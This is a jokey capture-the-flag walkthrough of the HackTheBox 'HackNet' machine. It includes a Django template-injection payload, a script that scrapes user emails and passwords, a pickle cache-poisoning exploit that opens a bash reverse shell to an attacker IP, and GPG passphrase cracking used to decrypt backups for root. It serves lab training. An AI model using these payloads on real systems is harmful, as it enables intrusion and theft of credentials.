HackNet Machine HackTheBox

Welcome, brave digital explorer! This is HackNet HTB retold that teaches you why each step works, including every single command and code snippet. Think of it as a sitcom with a side of hacking.
Difficulty: beginner → intermediate (web app logic, template injection, cache shenanigans, GPG magic)
Prologue: The Release Day Madness
I fired up HackNet the moment it was released. Absolute chaos! Even the top 10 players were scratching their heads. Someone in the community cracked a joke:
"Ok, then the problem is not the machine, but that we have to guess and mind-read what you want in your writeup."
And honestly… yep. That’s exactly how this adventure started. Spoiler: files vanish if you peek at them too early — spooky.
Act 1 — Setup: Put on your Explorer Hat
# Connect to HTB VPN
sudo openvpn starting_point_[username].ovpn
# Add the target to hosts file
echo "10.10.11.x hacknet.htb" | sudo tee -a /etc/hosts
# Create a workspace for HackNet
mkdir -p ~/hacknet_htb && cd ~/hacknet_htb
# Perform network scanning with default scripts, version detection, and OS fingerprinting
nmap -sC -sV -A hacknet.htb -oN nmap_hacknet.txt
Learning point: nmap
shows open ports and services. HTTP + SSH are the main doors into the system.
Act 2 — Meet the Hacker Playground
-
Open browser to
http://hacknet.htb
. -
Register a test account:
-
Username:
testuser
-
Email:
test@test.com
-
Password:
password123
-
-
Login and explore:
-
Profile editing (name, signature, avatar)
-
Creating posts
-
Liking/unliking posts
-
Messaging
-
Learning point: Understanding the functionality helps identify potential input points for template injection.
Act 3 — Django Template Injection (DTL)
Step 1: Test injection
# Edit profile username to:
{{ users }}
-
Like any post.
-
Click View Likes.
-
Inspect the HTML or use
curl
:
curl -s -b "csrftoken=CSRFTOKEN; sessionid=SESSIONID" http://hacknet.htb/likes/1
You’ll see <QuerySet [...]>
confirming template evaluation.
Step 2: Extract full user data
# Change username to:
{{ users.values }}
-
Repeat liking posts 1-30.
-
Inspect likes to get emails and passwords.
Learning point: {{ users }}
= test, {{ users.values }}
= actual data extraction.
Act 4 — Automate Credential Extraction
# extract_creds.py
import re, requests, html
BASE='http://hacknet.htb'
HEADERS={'Cookie':'csrftoken=YOUR_CSRF; sessionid=YOUR_SESSION'}
found=set()
for post_id in range(1,31):
# Like the post to trigger the likes view
requests.get(f"{BASE}/like/{post_id}", headers=HEADERS)
r=requests.get(f"{BASE}/likes/{post_id}", headers=HEADERS)
# Extract image titles containing QuerySet dump
titles=re.findall(r'<img [^>]*title="([^"]*)"', r.text)
if not titles: continue
last=html.unescape(titles[-1])
# Extract emails and passwords
emails=re.findall(r"'email': '([^']*)'", last)
pwds=re.findall(r"'password': '([^']*)'", last)
for e,p in zip(emails,pwds):
found.add(f"{e.split('@')[0]}:{p}")
print('\n'.join(sorted(found)))
Run:
python3 extract_creds.py
Act 5 — SSH into User Wonderland
#Example:
# SSH into target using harvested credentials
ssh zero_day@hacknet.htb
# Explore home directory
whoami
pwd
ls -la
# Capture user flag
cat user.txt
Act 6 — Cache Poisoning: Pickle RCE
Step 1: Check caching
grep -R "@cache_page" /var/www -n
ls -la /var/tmp/django_cache/
Step 2: Create malicious pickle
# cache_poison.py
import pickle, os
cache_dir='/var/tmp/django_cache'
cmd="bash -c 'bash -i >& /dev/tcp/10.10.14.X/4444 0>&1'"
class RCE:
def __reduce__(self): return (os.system, (cmd,))
pickle_payload=pickle.dumps(RCE())
# Poison all cache files
for file in os.listdir(cache_dir):
if file.endswith('.djcache'):
path=os.path.join(cache_dir,file)
with open(path,'wb') as f:
f.write(pickle_payload)
print(f"[+] Poisoned {file}")
Trigger /explore
locally while listening with:
nc -lvnp 4444
Learning point: Untrusted pickles are dangerous; file-based caches can be exploited for RCE.
Act 7 — Root via GPG and Backup Decryption
Step 1: Explore sandy’s home for keys
ls -la /home/sandy/
ls -la /home/sandy/.gnupg/
find /home/sandy -name "*.asc" -o -name "*private*" 2>/dev/null
- Copy
armored_key.asc
to your local machine usingpython3 -m http.server 8000
orscp
.
Step 2: Crack key passphrase
gpg2john armored_key.asc > gpg_hash.txt
john --wordlist=/usr/share/wordlists/rockyou.txt gpg_hash.txt
Step 3: Locate encrypted backups
find /var/www -name "*.gpg" 2>/dev/null
ls -la /var/www/HackNet/backups/
Step 4: Create batch decryption script
#!/bin/bash
KEY_PATH="$HOME/.gnupg/private-keys-v1.d/armored_key.asc"
BACKUP_DIR="/var/www/HackNet/backups"
OUTPUT_DIR="/tmp"
PASSPHRASE="DISCOVERED_PASSPHRASE"
gpg --import "$KEY_PATH"
for file in "$BACKUP_DIR"/*.gpg; do
[ -f "$file" ] || continue
filename=$(basename "$file" .gpg)
outpath="$OUTPUT_DIR/${filename}.sql"
echo "[*] Decrypting $file → $outpath"
gpg --batch --yes --passphrase "$PASSPHRASE" --pinentry-mode loopback -o "$outpath" -d "$file"
done
echo "[+] Decryption complete. Files in $OUTPUT_DIR"
Step 5: Run script and retrieve decrypted files
chmod +x decrypt_backups.sh
./decrypt_backups.sh
python3 -m http.server 8000 # fetch decrypted backups to local machine
cat /tmp/backup0* | grep password # get root password
Step 6: Login as root
su root
# Enter discovered password
cat /root/root.txt
Learning point: Private keys + backups can be a root goldmine. Handle with care!
Epilogue: Lessons from HackNet Comedy
-
{{ users }}
= test template injection;{{ users.values }}
= extract all data. -
Pickles = local fun, remote danger.
-
Keys & backups must be access-restricted.
-
Vanishing files? Copy before reading.